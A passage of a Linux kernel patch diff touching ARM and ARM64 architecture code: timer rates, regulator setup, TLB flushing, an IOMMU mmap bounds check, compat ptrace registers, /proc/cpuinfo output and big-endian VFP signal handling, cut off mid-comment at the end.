SDRC_POWER_V cm_idlest1_core: diff --git a/arch/arm/mach-omap2/timer.c b/arch/arm/mach-omap2/timer.c index 4c069b0cab212..478f4aa73f0e1 100644 --- a/arch/arm/mach-omap2/timer.c +++ b/arch/arm/mach-omap2/timer.c @@ -503,11 +503,11 @@ static void __init realtime_counter_init(void) rate = clk_get_rate(sys_clk); /* Numerator/denumerator values refer TRM Realtime Counter section */ switch (rate) { - case 1200000: + case 12000000: num = 64; den = 125; break; - case 1300000: + case 13000000: num = 768; den = 1625; break; @@ -515,11 +515,11 @@ static void __init realtime_counter_init(void) num = 8; den = 25; break; - case 2600000: + case 26000000: num = 384; den = 1625; break; - case 2700000: + case 27000000: num = 256; den = 1125; break; diff --git a/arch/arm/mach-orion5x/common.c b/arch/arm/mach-orion5x/common.c index b41599f98a8ed..ffc7a9453d6df 100644 --- a/arch/arm/mach-orion5x/common.c +++ b/arch/arm/mach-orion5x/common.c @@ -213,7 +213,7 @@ void __init orion5x_init_early(void) mbus_soc_name = NULL; mvebu_mbus_init(mbus_soc_name, ORION5X_BRIDGE_WINS_BASE, ORION5X_BRIDGE_WINS_SZ, - ORION5X_DDR_WINS_BASE, ORION5X_DDR_WINS_SZ); + ORION5X_DDR_WINS_BASE, ORION5X_DDR_WINS_SZ, 0); } void orion5x_setup_wins(void) diff --git a/arch/arm/mach-pxa/corgi.c b/arch/arm/mach-pxa/corgi.c index f162f1b77cd21..82fd9dd17ed14 100644 --- a/arch/arm/mach-pxa/corgi.c +++ b/arch/arm/mach-pxa/corgi.c @@ -26,6 +26,7 @@ #include #include #include +#include #include #include #include @@ -711,6 +712,8 @@ static void __init corgi_init(void) sharpsl_nand_partitions[1].size = 53 * 1024 * 1024; platform_add_devices(devices, ARRAY_SIZE(devices)); + + regulator_has_full_constraints(); } static void __init fixup_corgi(struct tag *tags, char **cmdline, diff --git a/arch/arm/mach-pxa/hx4700.c b/arch/arm/mach-pxa/hx4700.c index 133109ec7332b..a07accfb3aec2 100644 --- a/arch/arm/mach-pxa/hx4700.c +++ b/arch/arm/mach-pxa/hx4700.c @@ -891,6 +891,8 @@ static void __init hx4700_init(void) mdelay(10); gpio_set_value(GPIO71_HX4700_ASIC3_nRESET, 1); mdelay(10); + + regulator_has_full_constraints(); } MACHINE_START(H4700, "HP iPAQ HX4700") diff --git a/arch/arm/mach-pxa/poodle.c b/arch/arm/mach-pxa/poodle.c index 711d37e26bd81..4d79941f97e6a 100644 --- a/arch/arm/mach-pxa/poodle.c +++ b/arch/arm/mach-pxa/poodle.c @@ -25,6 +25,7 @@ #include #include #include +#include #include #include #include @@ -452,6 +453,7 @@ static void __init poodle_init(void) pxa_set_i2c_info(NULL); i2c_register_board_info(0, ARRAY_AND_SIZE(poodle_i2c_devices)); poodle_init_spi(); + regulator_has_full_constraints(); } static void __init fixup_poodle(struct tag *tags, char **cmdline, diff --git a/arch/arm/mach-realview/include/mach/memory.h b/arch/arm/mach-realview/include/mach/memory.h index 2022e092f0cad..db09170e3832f 100644 --- a/arch/arm/mach-realview/include/mach/memory.h +++ b/arch/arm/mach-realview/include/mach/memory.h @@ -56,6 +56,8 @@ #define PAGE_OFFSET1 (PAGE_OFFSET + 0x10000000) #define PAGE_OFFSET2 (PAGE_OFFSET + 0x30000000) +#define PHYS_OFFSET PLAT_PHYS_OFFSET + #define __phys_to_virt(phys) \ ((phys) >= 0x80000000 ? (phys) - 0x80000000 + PAGE_OFFSET2 : \ (phys) >= 0x20000000 ? (phys) - 0x20000000 + PAGE_OFFSET1 : \ diff --git a/arch/arm/mach-s3c64xx/crag6410.h b/arch/arm/mach-s3c64xx/crag6410.h index 4c3c9994fc2c2..81dc722ced57b 100644 --- a/arch/arm/mach-s3c64xx/crag6410.h +++ b/arch/arm/mach-s3c64xx/crag6410.h @@ -14,6 +14,7 @@ #include #define GLENFARCLAS_PMIC_IRQ_BASE IRQ_BOARD_START +#define BANFF_PMIC_IRQ_BASE (IRQ_BOARD_START + 64) #define PCA935X_GPIO_BASE GPIO_BOARD_START #define CODEC_GPIO_BASE (GPIO_BOARD_START + 8) diff --git a/arch/arm/mach-s3c64xx/mach-crag6410.c b/arch/arm/mach-s3c64xx/mach-crag6410.c index 8ad88ace795a4..5fa9ac9104e10 100644 --- a/arch/arm/mach-s3c64xx/mach-crag6410.c +++ b/arch/arm/mach-s3c64xx/mach-crag6410.c @@ -558,6 +558,7 @@ static struct wm831x_touch_pdata touch_pdata = { static struct wm831x_pdata crag_pmic_pdata = { .wm831x_num = 1, + .irq_base = BANFF_PMIC_IRQ_BASE, .gpio_base = BANFF_PMIC_GPIO_BASE, .soft_shutdown = true, diff --git a/arch/arm/mach-sa1100/pm.c b/arch/arm/mach-sa1100/pm.c index 6645d1e31f14d..34853d5dfda28 100644 --- a/arch/arm/mach-sa1100/pm.c +++ b/arch/arm/mach-sa1100/pm.c @@ -81,6 +81,7 @@ static int sa11x0_pm_enter(suspend_state_t state) /* * Ensure not to come back here if it wasn't intended */ + RCSR = RCSR_SMR; PSPR = 0; /* diff --git a/arch/arm/mach-shmobile/setup-sh73a0.c b/arch/arm/mach-shmobile/setup-sh73a0.c index 9696f36468643..ea788c8e32e80 100644 --- a/arch/arm/mach-shmobile/setup-sh73a0.c +++ b/arch/arm/mach-shmobile/setup-sh73a0.c @@ -814,6 +814,7 @@ static struct platform_device ipmmu_device = { static struct renesas_intc_irqpin_config irqpin0_platform_data = { .irq_base = irq_pin(0), /* IRQ0 -> IRQ7 */ + .control_parent = true, }; static struct resource irqpin0_resources[] = { @@ -875,6 +876,7 @@ static struct platform_device irqpin1_device = { static struct renesas_intc_irqpin_config irqpin2_platform_data = { .irq_base = irq_pin(16), /* IRQ16 -> IRQ23 */ + .control_parent = true, }; static struct resource irqpin2_resources[] = { @@ -905,6 +907,7 @@ static struct platform_device irqpin2_device = { static struct renesas_intc_irqpin_config irqpin3_platform_data = { .irq_base = irq_pin(24), /* IRQ24 -> IRQ31 */ + .control_parent = true, }; static struct resource irqpin3_resources[] = { diff --git a/arch/arm/mach-socfpga/headsmp.S b/arch/arm/mach-socfpga/headsmp.S index 9004bfb1756ee..a6f5519072cc3 100644 --- a/arch/arm/mach-socfpga/headsmp.S +++ b/arch/arm/mach-socfpga/headsmp.S @@ -12,6 +12,7 @@ __CPUINIT .arch armv7-a + .arm ENTRY(secondary_trampoline) movw r2, #:lower16:cpu1start_addr diff --git a/arch/arm/mm/Kconfig b/arch/arm/mm/Kconfig index 5b7378c910671..a5d9077712888 100644 --- a/arch/arm/mm/Kconfig +++ b/arch/arm/mm/Kconfig @@ -793,6 +793,7 @@ config NEED_KUSER_HELPERS config KUSER_HELPERS bool "Enable kuser helpers in vector page" if !NEED_KUSER_HELPERS + depends on MMU default y help Warning: disabling this option may break user programs. diff --git a/arch/arm/mm/abort-ev6.S b/arch/arm/mm/abort-ev6.S index 80741992a9fcf..5d777a567c35c 100644 --- a/arch/arm/mm/abort-ev6.S +++ b/arch/arm/mm/abort-ev6.S @@ -17,12 +17,6 @@ */ .align 5 ENTRY(v6_early_abort) -#ifdef CONFIG_CPU_V6 - sub r1, sp, #4 @ Get unused stack location - strex r0, r1, [r1] @ Clear the exclusive monitor -#elif defined(CONFIG_CPU_32v6K) - clrex -#endif mrc p15, 0, r1, c5, c0, 0 @ get FSR mrc p15, 0, r0, c6, c0, 0 @ get FAR /* diff --git a/arch/arm/mm/abort-ev7.S b/arch/arm/mm/abort-ev7.S index 703375277ba6d..4812ad0542145 100644 --- a/arch/arm/mm/abort-ev7.S +++ b/arch/arm/mm/abort-ev7.S @@ -13,12 +13,6 @@ */ .align 5 ENTRY(v7_early_abort) - /* - * The effect of data aborts on on the exclusive access monitor are - * UNPREDICTABLE. Do a CLREX to clear the state - */ - clrex - mrc p15, 0, r1, c5, c0, 0 @ get FSR mrc p15, 0, r0, c6, c0, 0 @ get FAR diff --git a/arch/arm/mm/alignment.c b/arch/arm/mm/alignment.c index 89c10a47bf0f0..d24be3e74783a 100644 --- a/arch/arm/mm/alignment.c +++ b/arch/arm/mm/alignment.c @@ -39,6 +39,7 @@ * This code is not portable to processors with late data abort handling. */ #define CODING_BITS(i) (i & 0x0e000000) +#define COND_BITS(i) (i & 0xf0000000) #define LDST_I_BIT(i) (i & (1 << 26)) /* Immediate constant */ #define LDST_P_BIT(i) (i & (1 << 24)) /* Preindex */ @@ -842,6 +843,8 @@ do_alignment(unsigned long addr, unsigned int fsr, struct pt_regs *regs) break; case 0x04000000: /* ldr or str immediate */ + if (COND_BITS(instr) == 0xf0000000) /* NEON VLDn, VSTn */ + goto bad; offset.un = OFFSET_BITS(instr); handler = do_alignment_ldrstr; break; diff --git a/arch/arm/mm/dma-mapping.c b/arch/arm/mm/dma-mapping.c index bd02f493c5c4c..2b2d0c599a491 100644 --- a/arch/arm/mm/dma-mapping.c +++ b/arch/arm/mm/dma-mapping.c @@ -508,12 +508,21 @@ void __init dma_contiguous_remap(void) map.type = MT_MEMORY_DMA_READY; /* - * Clear previous low-memory mapping + * Clear previous low-memory mapping to ensure that the + * TLB does not see any conflicting entries, then flush + * the TLB of the old entries before creating new mappings. + * + * This ensures that any speculatively loaded TLB entries + * (even though they may be rare) can not cause any problems, + * and ensures that this code is architecturally compliant. */ for (addr = __phys_to_virt(start); addr < __phys_to_virt(end); addr += PMD_SIZE) pmd_clear(pmd_off_k(addr)); + flush_tlb_kernel_range(__phys_to_virt(start), + __phys_to_virt(end)); + iotable_init(&map, 1); } } @@ -1475,12 +1484,19 @@ static int arm_iommu_mmap_attrs(struct device *dev, struct vm_area_struct *vma, unsigned long uaddr = vma->vm_start; unsigned long usize = vma->vm_end - vma->vm_start; struct page **pages = __iommu_get_pages(cpu_addr, attrs); + unsigned long nr_pages = PAGE_ALIGN(size) >> PAGE_SHIFT; + unsigned long off = vma->vm_pgoff; vma->vm_page_prot = __get_dma_pgprot(attrs, vma->vm_page_prot); if (!pages) return -ENXIO; + if (off >= nr_pages || (usize >> PAGE_SHIFT) > nr_pages - off) + return -ENXIO; + + pages += off; + do { int ret = vm_insert_page(vma, uaddr, *pages++); if (ret) { diff --git a/arch/arm/mm/idmap.c b/arch/arm/mm/idmap.c index 83cb3ac270951..c61d2373408cc 100644 --- a/arch/arm/mm/idmap.c +++ b/arch/arm/mm/idmap.c @@ -24,6 +24,13 @@ static void idmap_add_pmd(pud_t *pud, unsigned long addr, unsigned long end, pr_warning("Failed to allocate identity pmd.\n"); return; } + /* + * Copy the original PMD to ensure that the PMD entries for + * the kernel image are preserved. + */ + if (!pud_none(*pud)) + memcpy(pmd, pmd_offset(pud, 0), + PTRS_PER_PMD * sizeof(pmd_t)); pud_populate(&init_mm, pud, pmd); pmd += pmd_index(addr); } else diff --git a/arch/arm/mm/mmu.c b/arch/arm/mm/mmu.c index df2c75fea1e4e..1e1f4f45174a0 100644 --- a/arch/arm/mm/mmu.c +++ b/arch/arm/mm/mmu.c @@ -778,7 +778,8 @@ static void __init alloc_init_pmd(pud_t *pud, unsigned long addr, } static void __init alloc_init_pud(pgd_t *pgd, unsigned long addr, - unsigned long end, unsigned long phys, const struct mem_type *type) + unsigned long end, phys_addr_t phys, + const struct mem_type *type) { pud_t *pud = pud_offset(pgd, addr); unsigned long next; diff --git a/arch/arm/mm/proc-v7-3level.S b/arch/arm/mm/proc-v7-3level.S index 6f3b0476b7291..110e738bc970f 100644 --- a/arch/arm/mm/proc-v7-3level.S +++ b/arch/arm/mm/proc-v7-3level.S @@ -78,8 +78,13 @@ ENTRY(cpu_v7_set_pte_ext) tst rh, #1 << (57 - 32) @ L_PTE_NONE bicne rl, #L_PTE_VALID bne 1f - tst rh, #1 << (55 - 32) @ L_PTE_DIRTY - orreq rl, #L_PTE_RDONLY + + eor ip, rh, #1 << (55 - 32) @ toggle L_PTE_DIRTY in temp reg to + @ test for !L_PTE_DIRTY || L_PTE_RDONLY + tst ip, #1 << (55 - 32) | 1 << (58 - 32) + orrne rl, #PTE_AP2 + biceq rl, #PTE_AP2 + 1: strd r2, r3, [r0] ALT_SMP(W(nop)) ALT_UP (mcr p15, 0, r0, c7, c10, 1) @ flush_pte diff --git a/arch/arm/mm/proc-v7.S b/arch/arm/mm/proc-v7.S index 1f8597462b3a6..2211539f75da4 100644 --- a/arch/arm/mm/proc-v7.S +++ b/arch/arm/mm/proc-v7.S @@ -209,7 +209,6 @@ __v7_pj4b_setup: /* Auxiliary Debug Modes Control 1 Register */ #define PJ4B_STATIC_BP (1 << 2) /* Enable Static BP */ #define PJ4B_INTER_PARITY (1 << 8) /* Disable Internal Parity Handling */ -#define PJ4B_BCK_OFF_STREX (1 << 5) /* Enable the back off of STREX instr */ #define PJ4B_CLEAN_LINE (1 << 16) /* Disable data transfer for clean line */ /* Auxiliary Debug Modes Control 2 Register */ @@ -232,7 +231,6 @@ __v7_pj4b_setup: /* Auxiliary Debug Modes Control 1 Register */ mrc p15, 1, r0, c15, c1, 1 orr r0, r0, #PJ4B_CLEAN_LINE - orr r0, r0, #PJ4B_BCK_OFF_STREX orr r0, r0, #PJ4B_INTER_PARITY bic r0, r0, #PJ4B_STATIC_BP mcr p15, 1, r0, c15, c1, 1 diff --git a/arch/arm/mm/proc-xscale.S b/arch/arm/mm/proc-xscale.S index e766f889bfd6d..08b51b7dbf698 100644 --- a/arch/arm/mm/proc-xscale.S +++ b/arch/arm/mm/proc-xscale.S @@ -535,7 +535,7 @@ ENTRY(cpu_xscale_do_suspend) mrc p15, 0, r5, c15, c1, 0 @ CP access reg mrc p15, 0, r6, c13, c0, 0 @ PID mrc p15, 0, r7, c3, c0, 0 @ domain ID - mrc p15, 0, r8, c1, c1, 0 @ auxiliary control reg + mrc p15, 0, r8, c1, c0, 1 @ auxiliary control reg mrc p15, 0, r9, c1, c0, 0 @ control reg bic r4, r4, #2 @ clear frequency change bit stmia r0, {r4 - r9} @ store cp regs @@ -552,7 +552,7 @@ ENTRY(cpu_xscale_do_resume) mcr p15, 0, r6, c13, c0, 0 @ PID mcr p15, 0, r7, c3, c0, 0 @ domain ID mcr p15, 0, r1, c2, c0, 0 @ translation table base addr - mcr p15, 0, r8, c1, c1, 0 @ auxiliary control reg + mcr p15, 0, r8, c1, c0, 1 @ auxiliary control reg mov r0, r9 @ control register b cpu_resume_mmu ENDPROC(cpu_xscale_do_resume) diff --git a/arch/arm/plat-orion/common.c b/arch/arm/plat-orion/common.c index c019b7aaf776b..553e00a432ec8 100644 --- a/arch/arm/plat-orion/common.c +++ b/arch/arm/plat-orion/common.c @@ -498,7 +498,7 @@ void __init orion_ge00_switch_init(struct dsa_platform_data *d, int irq) d->netdev = &orion_ge00.dev; for (i = 0; i < d->nr_chips; i++) - d->chip[i].mii_bus = &orion_ge00_shared.dev; + d->chip[i].mii_bus = &orion_ge_mvmdio.dev; orion_switch_device.dev.platform_data = d; platform_device_register(&orion_switch_device); diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig index b7e7a34662461..c917a3dbfef10 100644 --- a/arch/arm64/Kconfig +++ b/arch/arm64/Kconfig @@ -2,8 +2,8 @@ config ARM64 def_bool y select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST - select ARCH_USE_CMPXCHG_LOCKREF select ARCH_SUPPORTS_ATOMIC_RMW + select ARCH_USE_CMPXCHG_LOCKREF select ARCH_WANT_OPTIONAL_GPIOLIB select ARCH_WANT_COMPAT_IPC_PARSE_VERSION select ARCH_WANT_FRAME_POINTERS @@ -105,6 +105,10 @@ config ARCH_MMAP_RND_COMPAT_BITS_MAX config STACKTRACE_SUPPORT def_bool y +config ILLEGAL_POINTER_VALUE + hex + default 0xdead000000000000 + config LOCKDEP_SUPPORT def_bool y diff --git a/arch/arm64/include/asm/compat.h b/arch/arm64/include/asm/compat.h index c8779151c15c8..e94e8dde78b43 100644 --- a/arch/arm64/include/asm/compat.h +++ b/arch/arm64/include/asm/compat.h @@ -37,8 +37,8 @@ typedef s32 compat_ssize_t; typedef s32 compat_time_t; typedef s32 compat_clock_t; typedef s32 compat_pid_t; -typedef u32 __compat_uid_t; -typedef u32 __compat_gid_t; +typedef u16 __compat_uid_t; +typedef u16 __compat_gid_t; typedef u16 __compat_uid16_t; typedef u16 __compat_gid16_t; typedef u32 __compat_uid32_t; diff --git a/arch/arm64/include/asm/cputype.h b/arch/arm64/include/asm/cputype.h index 54872696a17a0..159743ca0057e 100644 --- a/arch/arm64/include/asm/cputype.h +++ b/arch/arm64/include/asm/cputype.h @@ -83,6 +83,8 @@ static inline u32 __attribute_const__ read_cpuid_cachetype(void) return read_cpuid(CTR_EL0); } +void cpuinfo_store_cpu(void); + #endif /* __ASSEMBLY__ */ #endif diff --git a/arch/arm64/include/asm/hw_breakpoint.h b/arch/arm64/include/asm/hw_breakpoint.h index d064047612b12..52b484b6aa1a7 100644 --- a/arch/arm64/include/asm/hw_breakpoint.h +++ b/arch/arm64/include/asm/hw_breakpoint.h @@ -79,7 +79,6 @@ static inline void decode_ctrl_reg(u32 reg, */ #define ARM_MAX_BRP 16 #define ARM_MAX_WRP 16 -#define ARM_MAX_HBP_SLOTS (ARM_MAX_BRP + ARM_MAX_WRP) /* Virtual debug register bases. */ #define AARCH64_DBG_REG_BVR 0 diff --git a/arch/arm64/include/asm/ptrace.h b/arch/arm64/include/asm/ptrace.h index c224330887c62..f1b4d28c8d368 100644 --- a/arch/arm64/include/asm/ptrace.h +++ b/arch/arm64/include/asm/ptrace.h @@ -85,14 +85,14 @@ #define compat_sp regs[13] #define compat_lr regs[14] #define compat_sp_hyp regs[15] -#define compat_sp_irq regs[16] -#define compat_lr_irq regs[17] -#define compat_sp_svc regs[18] -#define compat_lr_svc regs[19] -#define compat_sp_abt regs[20] -#define compat_lr_abt regs[21] -#define compat_sp_und regs[22] -#define compat_lr_und regs[23] +#define compat_lr_irq regs[16] +#define compat_sp_irq regs[17] +#define compat_lr_svc regs[18] +#define compat_sp_svc regs[19] +#define compat_lr_abt regs[20] +#define compat_sp_abt regs[21] +#define compat_lr_und regs[22] +#define compat_sp_und regs[23] #define compat_r8_fiq regs[24] #define compat_r9_fiq regs[25] #define compat_r10_fiq regs[26] diff --git a/arch/arm64/kernel/head.S b/arch/arm64/kernel/head.S index 3e8df23774380..c88941cc30b3c 100644 --- a/arch/arm64/kernel/head.S +++ b/arch/arm64/kernel/head.S @@ -539,6 +539,11 @@ CPU_LE( movk x0, #0x30d0, lsl #16 ) // Clear EE and E0E on LE systems msr hstr_el2, xzr // Disable CP15 traps to EL2 #endif + /* EL2 debug */ + mrs x0, pmcr_el0 // Disable debug access traps + ubfx x0, x0, #11, #5 // to EL2 and allow access to + msr mdcr_el2, x0 // all PMU counters from EL1 + /* Stage-2 translation */ msr vttbr_el2, xzr diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c index 41c75f92f869c..a669286af2a21 100644 --- a/arch/arm64/kernel/process.c +++ b/arch/arm64/kernel/process.c @@ -303,9 +303,27 @@ void exit_thread(void) { } +static void tls_thread_flush(void) +{ + asm ("msr tpidr_el0, xzr"); + + if (is_compat_task()) { + current->thread.tp_value = 0; + + /* + * We need to ensure ordering between the shadow state and the + * hardware state, so that we don't corrupt the hardware state + * with a stale shadow state during context switch. + */ + barrier(); + asm ("msr tpidrro_el0, xzr"); + } +} + void flush_thread(void) { fpsimd_flush_thread(); + tls_thread_flush(); flush_ptrace_hw_breakpoint(current); } diff --git a/arch/arm64/kernel/ptrace.c b/arch/arm64/kernel/ptrace.c index ab61cd7f8b051..e04659b48e90e 100644 --- a/arch/arm64/kernel/ptrace.c +++ b/arch/arm64/kernel/ptrace.c @@ -56,6 +56,12 @@ */ void ptrace_disable(struct task_struct *child) { + /* + * This would be better off in core code, but PTRACE_DETACH has + * grown its fair share of arch-specific worts and changing it + * is likely to cause regressions on obscure architectures. + */ + user_disable_single_step(child); } #ifdef CONFIG_HAVE_HW_BREAKPOINT @@ -86,7 +92,8 @@ static void ptrace_hbptriggered(struct perf_event *bp, break; } } - for (i = ARM_MAX_BRP; i < ARM_MAX_HBP_SLOTS && !bp; ++i) { + + for (i = 0; i < ARM_MAX_WRP; ++i) { if (current->thread.debug.hbp_watch[i] == bp) { info.si_errno = -((i << 1) + 1); break; diff --git a/arch/arm64/kernel/setup.c b/arch/arm64/kernel/setup.c index 85c5235a70351..bd7c3f2075faf 100644 --- a/arch/arm64/kernel/setup.c +++ b/arch/arm64/kernel/setup.c @@ -45,6 +45,7 @@ #include #include #include +#include #include #include @@ -208,6 +209,19 @@ static void __init smp_build_mpidr_hash(void) } #endif +struct cpuinfo_arm64 { + struct cpu cpu; + u32 reg_midr; +}; + +static DEFINE_PER_CPU(struct cpuinfo_arm64, cpu_data); + +void cpuinfo_store_cpu(void) +{ + struct cpuinfo_arm64 *info = this_cpu_ptr(&cpu_data); + info->reg_midr = read_cpuid_id(); +} + static void __init setup_processor(void) { struct cpu_info *cpu_info; @@ -308,6 +322,8 @@ static void __init setup_processor(void) static void __init setup_machine_fdt(phys_addr_t dt_phys) { + cpuinfo_store_cpu(); + if (!dt_phys || !early_init_dt_scan(phys_to_virt(dt_phys))) { early_print("\n" "Error: invalid device tree blob at physical address 0x%p (virtual address 0x%p)\n" @@ -434,14 +450,12 @@ static int __init arm64_device_init(void) } arch_initcall(arm64_device_init); -static DEFINE_PER_CPU(struct cpu, cpu_data); - static int __init topology_init(void) { int i; for_each_possible_cpu(i) { - struct cpu *cpu = &per_cpu(cpu_data, i); + struct cpu *cpu = &per_cpu(cpu_data.cpu, i); cpu->hotpluggable = 1; register_cpu(cpu, i); } @@ -462,14 +476,41 @@ static const char *hwcap_str[] = { NULL }; +#ifdef CONFIG_COMPAT +static const char *compat_hwcap_str[] = { + "swp", + "half", + "thumb", + "26bit", + "fastmult", + "fpa", + "vfp", + "edsp", + "java", + "iwmmxt", + "crunch", + "thumbee", + "neon", + "vfpv3", + "vfpv3d16", + "tls", + "vfpv4", + "idiva", + "idivt", + "vfpd32", + "lpae", + "evtstrm" +}; +#endif /* CONFIG_COMPAT */ + static int c_show(struct seq_file *m, void *v) { - int i; - - seq_printf(m, "Processor\t: %s rev %d (%s)\n", - cpu_name, read_cpuid_id() & 15, ELF_PLATFORM); + int i, j; for_each_present_cpu(i) { + struct cpuinfo_arm64 *cpuinfo = &per_cpu(cpu_data, i); + u32 midr = cpuinfo->reg_midr; + /* * glibc reads /proc/cpuinfo to determine the number of * online processors, looking for lines beginning with @@ -478,29 +519,40 @@ static int c_show(struct seq_file *m, void *v) #ifdef CONFIG_SMP seq_printf(m, "processor\t: %d\n", i); #endif - } - /* dump out the processor features */ - seq_puts(m, "Features\t: "); - - for (i = 0; hwcap_str[i]; i++) - if (elf_hwcap & (1 << i)) - seq_printf(m, "%s ", hwcap_str[i]); + /* + * Dump out the common processor features in a single line. + * Userspace should read the hwcaps with getauxval(AT_HWCAP) + * rather than attempting to parse this, but there's a body of + * software which does already (at least for 32-bit). + */ + seq_puts(m, "Features\t:"); + if (personality(current->personality) == PER_LINUX32) { +#ifdef CONFIG_COMPAT + for (j = 0; compat_hwcap_str[j]; j++) + if (COMPAT_ELF_HWCAP & (1 << j)) + seq_printf(m, " %s", compat_hwcap_str[j]); +#endif /* CONFIG_COMPAT */ + } else { + for (j = 0; hwcap_str[j]; j++) + if (elf_hwcap & (1 << j)) + seq_printf(m, " %s", hwcap_str[j]); + } + seq_puts(m, "\n"); #ifdef CONFIG_ARMV7_COMPAT_CPUINFO - if (is_compat_task()) { - /* Print out the non-optional ARMv8 HW capabilities */ - seq_printf(m, "wp half thumb fastmult vfp edsp neon vfpv3 tlsi "); - seq_printf(m, "vfpv4 idiva idivt "); - } + if (is_compat_task()) { + /* Print out the non-optional ARMv8 HW capabilities */ + seq_printf(m, "wp half thumb fastmult vfp edsp neon vfpv3 tlsi "); + seq_printf(m, "vfpv4 idiva idivt "); + } #endif - seq_printf(m, "\nCPU implementer\t: 0x%02x\n", read_cpuid_id() >> 24); - seq_printf(m, "CPU architecture: 8\n"); - seq_printf(m, "CPU variant\t: 0x%x\n", (read_cpuid_id() >> 20) & 15); - seq_printf(m, "CPU part\t: 0x%03x\n", (read_cpuid_id() >> 4) & 0xfff); - seq_printf(m, "CPU revision\t: %d\n", read_cpuid_id() & 15); - - seq_puts(m, "\n"); + seq_printf(m, "CPU implementer\t: 0x%02x\n", (midr >> 24)); + seq_printf(m, "CPU architecture: 8\n"); + seq_printf(m, "CPU variant\t: 0x%x\n", ((midr >> 20) & 0xf)); + seq_printf(m, "CPU part\t: 0x%03x\n", ((midr >> 4) & 0xfff)); + seq_printf(m, "CPU revision\t: %d\n\n", (midr & 0xf)); + } if (!arch_read_hardware_id) seq_printf(m, "Hardware\t: %s\n", machine_name); diff --git a/arch/arm64/kernel/signal32.c b/arch/arm64/kernel/signal32.c index 44a6f998a6ca2..74fd266942b1e 100644 --- a/arch/arm64/kernel/signal32.c +++ b/arch/arm64/kernel/signal32.c @@ -154,8 +154,7 @@ int copy_siginfo_to_user32(compat_siginfo_t __user *to, const siginfo_t *from) case __SI_TIMER: err |= __put_user(from->si_tid, &to->si_tid); err |= __put_user(from->si_overrun, &to->si_overrun); - err |= __put_user((compat_uptr_t)(unsigned long)from->si_ptr, - &to->si_ptr); + err |= __put_user(from->si_int, &to->si_int); break; case __SI_POLL: err |= __put_user(from->si_band, &to->si_band); @@ -169,7 +168,8 @@ int copy_siginfo_to_user32(compat_siginfo_t __user *to, const siginfo_t *from) * Other callers might not initialize the si_lsb field, * so check explicitely for the right codes here. */ - if (from->si_code == BUS_MCEERR_AR || from->si_code == BUS_MCEERR_AO) + if (from->si_signo == SIGBUS && + (from->si_code == BUS_MCEERR_AR || from->si_code == BUS_MCEERR_AO)) err |= __put_user(from->si_addr_lsb, &to->si_addr_lsb); #endif break; @@ -184,7 +184,7 @@ int copy_siginfo_to_user32(compat_siginfo_t __user *to, const siginfo_t *from) case __SI_MESGQ: /* But this is */ err |= __put_user(from->si_pid, &to->si_pid); err |= __put_user(from->si_uid, &to->si_uid); - err |= __put_user((compat_uptr_t)(unsigned long)from->si_ptr, &to->si_ptr); + err |= __put_user(from->si_int, &to->si_int); break; #ifdef __ARCH_SIGSYS case __SI_SYS: @@ -204,8 +204,6 @@ int copy_siginfo_to_user32(compat_siginfo_t __user *to, const siginfo_t *from) int copy_siginfo_from_user32(siginfo_t *to, compat_siginfo_t __user *from) { - memset(to, 0, sizeof *to); - if (copy_from_user(to, from, __ARCH_SI_PREAMBLE_SIZE) || copy_from_user(to->_sifields._pad, from->_sifields._pad, SI_PAD_SIZE)) @@ -216,14 +214,32 @@ int copy_siginfo_from_user32(siginfo_t *to, compat_siginfo_t __user *from) /* * VFP save/restore code. + * + * We have to be careful with endianness, since the fpsimd context-switch + * code operates on 128-bit (Q) register values whereas the compat ABI + * uses an array of 64-bit (D) registers. Consequently, we need to swap + * the two halves of each Q register when running on a big-endian CPU. */ +union __fpsimd_vreg { + __uint128_t raw; + struct { +#ifdef __AARCH64EB__ + u64 hi; + u64 lo; +#else + u64 lo; + u64 hi; +#endif + }; +}; + static int compat_preserve_vfp_context(struct compat_vfp_sigframe __user *frame) { struct fpsimd_state *fpsimd = ¤t->thread.fpsimd_state; compat_ulong_t magic = VFP_MAGIC; compat_ulong_t size = VFP_STORAGE_SIZE; compat_ulong_t fpscr, fpexc; - int err = 0; + int i, err = 0; /* * Save the hardware registers to the fpsimd_state structure. @@ -239,10 +255,15 @@ static int compat_preserve_vfp_context(struct compat_vfp_sigframe __user *frame) /* * Now copy the FP registers. Since the registers are packed, * we can copy the prefix we want (V0-V15) as it is. - * FIXME: Won't work if big endian. */ - err |= __copy_to_user(&frame->ufp.fpregs, fpsimd->vregs, - sizeof(frame->ufp.fpregs)); + for (i = 0; i < ARRAY_SIZE(frame->ufp.fpregs); i += 2) { + union __fpsimd_vreg vreg = { + .raw = fpsimd->vregs[i >> 1], + }; + + __put_user_error(vreg.lo, &frame->ufp.fpregs[i], err); + __put_user_error(vreg.hi, &frame->ufp.fpregs[i + 1], err); + } /* Create an AArch32 fpscr from the fpsr and the fpcr. */ fpscr = (fpsimd->fpsr & VFP_FPSCR_STAT_MASK) | @@ -267,7 +288,7 @@ static int compat_restore_vfp_context(struct compat_vfp_sigframe __user *frame) compat_ulong_t magic = VFP_MAGIC; compat_ulong_t size = VFP_STORAGE_SIZE; compat_ulong_t fpscr; - int err = 0; + int i, err = 0; __get_user_error(magic, &frame->magic, err); __get_user_error(size, &frame->size, err); @@ -277,12 +298,14 @@ static int compat_restore_vfp_context(struct compat_vfp_sigframe __user *frame) if (magic != VFP_MAGIC || size != VFP_STORAGE_SIZE) return -EINVAL; - /* - * Copy the FP registers into the start of the fpsimd_state. - * FIXME: Won't work if big endian. - */ - err |= __copy_from_user(fpsimd.vregs, frame->ufp.fpregs, - sizeof(frame->ufp.fpregs)); + /* Copy the FP registers into the start of the fpsimd_state. */ + for (i = 0; i < ARRAY_SIZE(frame->ufp.fpregs); i += 2) { + union __fpsimd_vreg vreg; + + __get_user_error(vreg.lo, &frame->ufp.fpregs[i], err); + __get_user_error(vreg.hi, &frame->ufp.fpregs[i + 1], err); + fpsimd.vregs[i >> 1] = vreg.raw; + } /* Extract the fpsr and the fpcr from the fpscr */ __get_user_error(fpscr, &frame->ufp.fpscr, err); diff --git a/arch/arm64/kernel/smp.c b/arch/arm64/kernel/smp.c index d4d7b848d38fc..2e59161dc5b51 100644 --- a/arch/arm64/kernel/smp.c +++ b/arch/arm64/kernel/smp.c @@ -165,6 +165,11 @@ asmlinkage void __cpuinit secondary_start_kernel(void) notify_cpu_starting(cpu); + /* + * Log the 